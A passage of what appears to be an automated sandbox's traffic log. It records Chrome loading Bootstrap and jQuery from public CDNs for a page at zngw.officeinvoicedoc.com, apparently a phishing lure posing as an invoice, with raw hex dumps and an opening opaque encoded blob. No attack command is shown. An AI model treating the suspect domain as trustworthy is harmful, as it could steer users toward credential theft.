t{JPU61N~LBzP#bE;MGR1%4W`O6#aZFA(46nG515:#FTP72T9"%9G&YIlnvIFP$&EnEUVj,:8>KfF@}UIDriRC4J`K6t8YB[!O;aV7xHa_9UxT9p%#RpV^jR!_!8ib^wu?ee#jvo:1^9Y),!Fe(a$=#M}FWp_tnof;aV7xH}G"{N(:p%#41*T1RGv}~m3Qtu?g)KR(8o~f9sA%TL[iF%1;!=y:xkfb?BG/eK<YDE?wrD2Opf#QGD;6@mF!F,e
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 2e 62 38 3a 31 4f 65 7c 4f 3e 3c 44 61 6a 66 55 25 30 23 34 45 3a 3d 24 4c 23 2a 38 53 3c 75 64 3c 5f 42 38 25 65 7d 21 43 4a 7e 3b 6d 37 54 3c 21 77 24 61 75 49 5f 45 2c 3b 23 52 45 54 4b 49 58 72 31 77 69 66 53 74 65 36 52 7b 26 59 41 28 5f 6a 76 72 4f 41 62 3d 6d 23 60 2b 39 5e 70 3a 36 75 5d 41 40 29 3d 39 38 56 6f 65 31 5f 53 3c 50 50 7a 50 4c 68 39 45 3e 56 7c 61 32 51 3e 47 44 52 51 72 49 6c 3a 25 63 6e 42 3b 6d 59 21 3a 21 75 23 55 28 54 4d 62 3c 23 7d 28 55 34 72 6c 49 76 73 3a 25 3a 30 6c 2b 45 44 3a 39 22 5b 47 21 5f 7a 50 66 37 68 25 3f 6e 48 7c 72 51 72 21 49 7d 30 7e 22 69 30 3b 33 72 57 37 4c 5b 6b 34 52 3f 6b 2c 44 28 5a 54 4a 30 68 3a 39 5e 41 58 40 56 77 3a 78 37 69 74 52 45 39 3b 5f 79 57 21 6b 50 4d 2c 3c 7d 25 54 4a 56 59 2f 4d 22 6e Data Ascii: .b8:1Oe\|O><DajfU%0#4E:=$L#*8S<ud<_B8%e}!CJ~;m7T<!w$auI_E,;#RETKIXr1wifSte6R{&YA(_jvrOAb=m#`+9^p:6u]A@)=98Voe1_S<PPzPLh9E>V\|a2Q>GDRQrIl:%cnB;mY!:!u#U(TMb<#}(U4rlIvs:%:0l+ED:9"[G!_zPf7h%?nH\|rQr!I}0~"i0;3rW7L[k4R?k,D(ZTJ0h:9^AX@Vw:x7itRE9;_yW!kPM,<}%TJVY/M"n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49748	104.18.11.207	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:52 UTC	695	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://zngw.officeinvoicedoc.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://zngw.officeinvoicedoc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:52 UTC	969	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:52 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 04/02/2024 02:05:57 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: d06120247bb3afaac6940e262b1f6161 CDN-Cache: HIT CF-Cache-Status: HIT Age: 149086 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ba419018df742ab-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:52 UTC	400	IN	Data Raw: 37 62 65 61 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bea/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 Data Ascii: define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.de
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 Data Ascii: nd:function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.i
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 76 61 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f Data Ascii: var e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 3b 73 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d Data Ascii: ;s&&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elem
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 52 3a 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 Data Ascii: R:"mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-i
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 72 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 Data Ascii: rval),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).f
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 7b 69 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 Data Ascii: {if(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 76 65 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e Data Ascii: vent(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 41 44 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c Data Ascii: AD_DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="coll

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49750	151.101.130.137	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:52 UTC	676	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://zngw.officeinvoicedoc.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://zngw.officeinvoicedoc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:52 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1180934 Date: Wed, 28 Aug 2024 11:52:52 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740063-EWR X-Cache: HIT, HIT X-Cache-Hits: 18, 0 X-Timer: S1724845973.702502,VS0,VE1 Vary: Accept-Encoding
2024-08-28 11:52:52 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-08-28 11:52:52 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-08-28 11:52:52 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2024-08-28 11:52:52 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2024-08-28 11:52:52 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
